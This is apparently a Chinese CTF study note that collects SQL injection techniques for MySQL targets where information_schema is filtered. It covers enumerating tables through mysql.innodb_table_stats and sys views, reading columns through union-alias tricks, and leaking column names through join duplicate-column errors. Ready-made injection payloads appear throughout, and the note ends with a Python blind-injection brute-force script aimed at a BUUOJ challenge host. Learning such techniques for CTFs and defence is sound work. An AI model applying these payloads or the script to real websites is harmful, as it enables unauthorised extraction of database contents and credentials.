无列名注入姿势总结
无列名注入姿势总结
感受
从学习安全以来,还未自己总结过,往往一时会了就不再理会,遇到相似的题的时候又冥思苦想才能回想起来,所以决定从今天开始,规律的对一些方法进行总结。
概念
在mysql数据库中,information_schema数据库保存着mysql所有其他数据库的信息,包括了数据库名,表名,字段名等,而题目则会有意的过滤掉这个库,这时,我们就得利用其他手段来绕过。
爆库名和表名
其他库或者视图:
mysql:
mysql.innodb_table_stats
mysql.innodb_index_stats
sys:
x$schema_table_statistics_with_buffer
schema_table_statistics_with_buffer
视图:
schema_auto_increment_columns
payload:
select group_concat(table_name) from |mysql.innodb_table_stats|x$schema_table_statistics_with_buffer|schema_auto_increment_columns|.....|
取别名绕过列名查数据
基本查询:
mysql> select * from tp_user;
+----------+----------+------+--------+
| username | password | id | status |
+----------+----------+------+--------+
| Tom | 123 | 1 | 1 |
| Bob | 1234 | 2 | 2 |
| Dam | 12345 | 3 | 3 |
| Tony | a | 4 | 4 |
| Tony | a | 4 | 4 |
| xi | 123 | NULL | NULL |
+----------+----------+------+--------+
将列名转换为任何可选的已知值:
mysql> select 1,2,3,4 union select * from tp_user;
+------+-------+------+------+
| 1 | 2 | 3 | 4 |
+------+-------+------+------+
| 1 | 2 | 3 | 4 |
| Tom | 123 | 1 | 1 |
| Bob | 1234 | 2 | 2 |
| Dam | 12345 | 3 | 3 |
| Tony | a | 4 | 4 |
| xi | 123 | NULL | NULL |
+------+-------+------+------+
这样我们就可以用1,2,3,4来代替列名了:
mysql> select `1` from (select 1,2,3,4 union select * from tp_user) as a;
+------+
| 1 |
+------+
| 1 |
| Tom |
| Bob |
| Dam |
| Tony |
| xi |
+------+
payload:
-1' union select 1,(select group_concat(a) from(select 1 as a,2 as b,3 as c,4 as d union select * from tp_user)as m),3'
利用join爆列名
需要有回显才能使用
由于join是将两张表的列名给加起来,所以有可能会产生相同的列名,而在使用别名时,是不允出现相同的列名的,因此当它们两个一起使用时,就会爆出相同的列名的名称,从而获得列名
mysql> select * from tp_one;
+----------+----------+
| username | password |
+----------+----------+
| Tom | 123 |
+----------+----------+
mysql> select * from tp_one union select * from (select * from tp_one as a join tp_one as b) as c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select * from tp_one union select * from (select * from tp_one as a join tp_one as b using(username)) as c;
ERROR 1060 (42S21): Duplicate column name 'password'
payload:
获取第一个列名
-1' union all select * from (select * from users as a join users as b)as c#
获取下一个列名
-1' union all select*from (select * from users as a join users as b using(username))as c#
字符比较查询
要知道比较两个字符串的大小与字符串的长度是没有关系的,给定两个字符串,会各取两个字符串的首字符ascii码来比较,不等式成立返回1,不等式不成立返回0
'g'是比'f'大的,所以返回1
mysql> select (select 'g') > (select 'flag');
+--------------------------------+
| (select 'g') > (select 'flag') |
+--------------------------------+
| 1 |
+--------------------------------+
当相等或者小于时,就会返回0
mysql> select (select 'f') > (select 'flag');
+--------------------------------+
| (select 'f') > (select 'flag') |
+--------------------------------+
| 0 |
+--------------------------------+
mysql> select (select 'd') > (select 'flag');
+--------------------------------+
| (select 'd') > (select 'flag') |
+--------------------------------+
| 0 |
+--------------------------------+
利用这个特性,就可以逐字符爆破数据
mysql> select (select 'fm') > (select 'flag');
+---------------------------------+
| (select 'fm') > (select 'flag') |
+---------------------------------+
| 1 |
+---------------------------------+
mysql> select (select 'fl') > (select 'flag');
+---------------------------------+
| (select 'fl') > (select 'flag') |
+---------------------------------+
| 0 |
+---------------------------------+
因为在相等时返回0,所以在进行爆破时,我们爆破出来的1的时候,是比正确字符要大1的,所以在编写脚本时,我们要-1才能得到正确字符。
所以我们在设置循环上限时ascii值要大于或者等于127
脚本如下:([GYCTF2020]Ezsqli)
import requests
url='http://e0e4d9bf-1f0b-435c-aedf-6d1aa33856ce.node4.buuoj.cn:81/'
flag=''
for i in range(1,50):
for j in range(32,128):
hexchar=flag+chr(j)
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data={'id':payload}
re=requests.post(url=url,data=data)
if 'Nu1L' in re.text:
flag+=chr(j-1)
print(flag)
break